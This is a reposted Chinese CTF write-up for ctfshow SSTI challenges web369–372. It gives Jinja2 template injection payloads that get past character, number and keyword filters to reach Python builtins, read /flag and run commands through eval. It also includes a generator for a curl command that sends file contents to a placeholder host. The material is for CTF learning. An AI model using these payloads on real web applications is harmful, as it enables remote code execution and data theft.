ctfshow SSTI注入 web369--web372
web369
这把request过滤了,只能自己拼字符了
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]
举个例子,chr(97) 返回的是字符 'a',因为 97 是小写字母 'a' 的 Unicode 编码值。
""chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)
相当于
""__class__
?name=
{% set po=dict(po=a,p=a)|join%} //拼接出pop
{% set a=(()|select|string|list)|attr(po)(24)%} //拼接出_
{% set ini=(a,a,dict(init=a)|join,a,a)|join%} //拼接出__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} //拼接出__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}//拼接出__getitem__
{% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}//拼接出__builtins__
{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}
{% set chr=x.chr%}//使用chr类来进行RCE因为等会要ascii转字符
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}//拼接出/flag
{%print(x.open(file).read())%}
web370
过滤了数字用全角数字代替半角数字
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("输入想要转换的数字字符串:")
for i in s:
t += half2full(i)
print(t)
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
web371
?name=
{% set c=(t|count)%} #拼接出0
{% set cc=(dict(e=a)|join|count)%} 1
{% set ccc=(dict(ee=a)|join|count)%} 2
{% set cccc=(dict(eee=a)|join|count)%} 3
{% set ccccc=(dict(eeee=a)|join|count)%} 4
{% set cccccc=(dict(eeeee=a)|join|count)%} 5
{% set ccccccc=(dict(eeeeee=a)|join|count)%} 6
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}7
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}8
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}9
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}10
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}11
{% set coun=(ccc~ccccc)|int%} 24
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
baozongwi 没影响给自己加个标签
{%endif%}
cmd
def aaa(t):
t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
return t
s='__import__("os").popen("curl http://xxx:4567?f=`tac /f*`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+aaa(str(ord(s[i])))+')%2b'
else:
t+='chr('+aaa(str(ord(s[i])))+')'
return t
print(ccchr(s))
研究了一下发现只有curl可以用,nc\ping\weget都不可以
web372
发现count被禁用 使用length代替
?name={% set c=(t|length)%}{% set cc=(dict(e=a)|join|length)%}{% set ccc=(dict(ee=a)|join|length)%}{% set cccc=(dict(eee=a)|join|length)%}{% set ccccc=(dict(eeee=a)|join|length)%}{% set cccccc=(dict(eeeee=a)|join|length)%}{% set ccccccc=(dict(eeeeee=a)|join|length)%}{% set cccccccc=(dict(eeeeeee=a)|join|length)%}{% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}{% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}{% set coun=(ccc~ccccc)|int%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd= %}{%if x.eval(cmd)%}{%endif%}
拓展知识,与本题无关
半角字符改全角字符
半角字符:包和bao123
全角字符:包和bao123有点看不出来,就看这个bao123
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="bao"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
原文地址:https://blog.csdn.net/2301_81040377/article/details/138850156
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!